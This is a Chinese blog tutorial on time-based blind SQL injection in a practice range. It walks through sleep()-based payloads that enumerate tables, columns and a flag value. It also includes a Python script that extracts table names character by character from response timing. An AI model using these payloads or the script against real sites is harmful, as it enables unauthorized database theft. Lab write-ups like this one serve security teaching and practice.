zoukankan      html  css  js  c++  java
  • SQL注入之延迟盲注

    延迟盲注

    你不知道你输入的数据在sql被执行后是否是正确或错误的。你只知道有数据。

    利用原理

    借助if语句,如果正确就sleep(5),延迟5秒返回数据。通过数据返回的时间大小判断自己的语句是否正确执行。因为如果正确执行,会休眠5秒。错误执行,立马返回!

    靶场1

    0x01 是布尔盲注还是延迟盲注
    payload
    http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and 1=2 -- qwe

    这么明显错误的语句,没有报错。只知道是有数据的。那么肯定不是布尔盲注

    0x02 判断延迟盲注
    payLoad:

    id=1%22and%20if(length(database())%3E100,0,sleep(4))%20--+qwe
    

    0x03 进一步注入查表
    正确立马返回,错误休眠5秒
    payload:

    and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+
    

    然后开始爆破。因为我的intruder测试模块看不了响应的时间,所有我写了个python脚本去跑。以下源码和结果:
    源码:

    # -*- coding: utf-8 -*-
    import requests
    import time
     
    def Timesql(proxies, user):
        for i in range(1,23):    #数据长度 这里我偷了下懒 没有先获取长度
                for payload in range(35,130):    #遍历取出字符
                        startTime=time.time()
                        url = 'http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe'    #url
                        cookies = {
                        }
                        response=requests.get(url,proxies=proxies)    #发送请求
                        if time.time() - startTime > 5:    #判断是否延时了5秒
                                user+=chr(payload)    
                                print(chr(payload))
                                break
                if  i != len(user): #无数据时候自动结束
                    break
        print ('
    The result is: '+user) 
    
    def main():
        print ('begining 
    ')
        ip = '127.0.0.1:8080'
        proxies = {
        'http': 'http://' + ip,
        'https': 'https://' + ip
        }
        user = ''
        Timesql(proxies, user)
        
    if __name__ == '__main__':
        main()
    

    结果:

    爆破字段
    payload2

    1%22+and+if(ascii(substr((select+column_name+from+information_schema.columns+where+table_schema%3ddatabas
    e()+and+table_name%3d'loflag'+limit+0,1),3,1))%3d129,sleep(6),0)--%20qwe
    

    图片:

    查看字段内容
    payload:

    1%22+and+if(ascii(substr((select+flaglo+from+loflag+limit+1,1),1,1))%3d88,sleep(6),0)--%20qwe
    

    图片:

    靶场2

    原理一样,注意闭合括号就好了。

    payload:

    1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe
    

    图片:

  • 相关阅读:
    Vijos P1597 2的幂次方【进制+递归】
    NUC1100 Biorhythms【中国剩余定理】
    HDU1370 Biorhythms【中国剩余定理】
    NUC1090 Goldbach's Conjecture【哥德巴赫猜想 】
    NUC1305 哥德巴赫猜想
    剑指Offer——最小的K个数
    剑指Offer——数组中出现次数超过一半的数字
    剑指Offer——字符串的排列
    剑指Offer——二叉搜索树与双向链表
    剑指Offer——复杂链表的复制
  • 原文地址:https://www.cnblogs.com/beidaxmf/p/13964344.html
Copyright © 2011-2022 走看看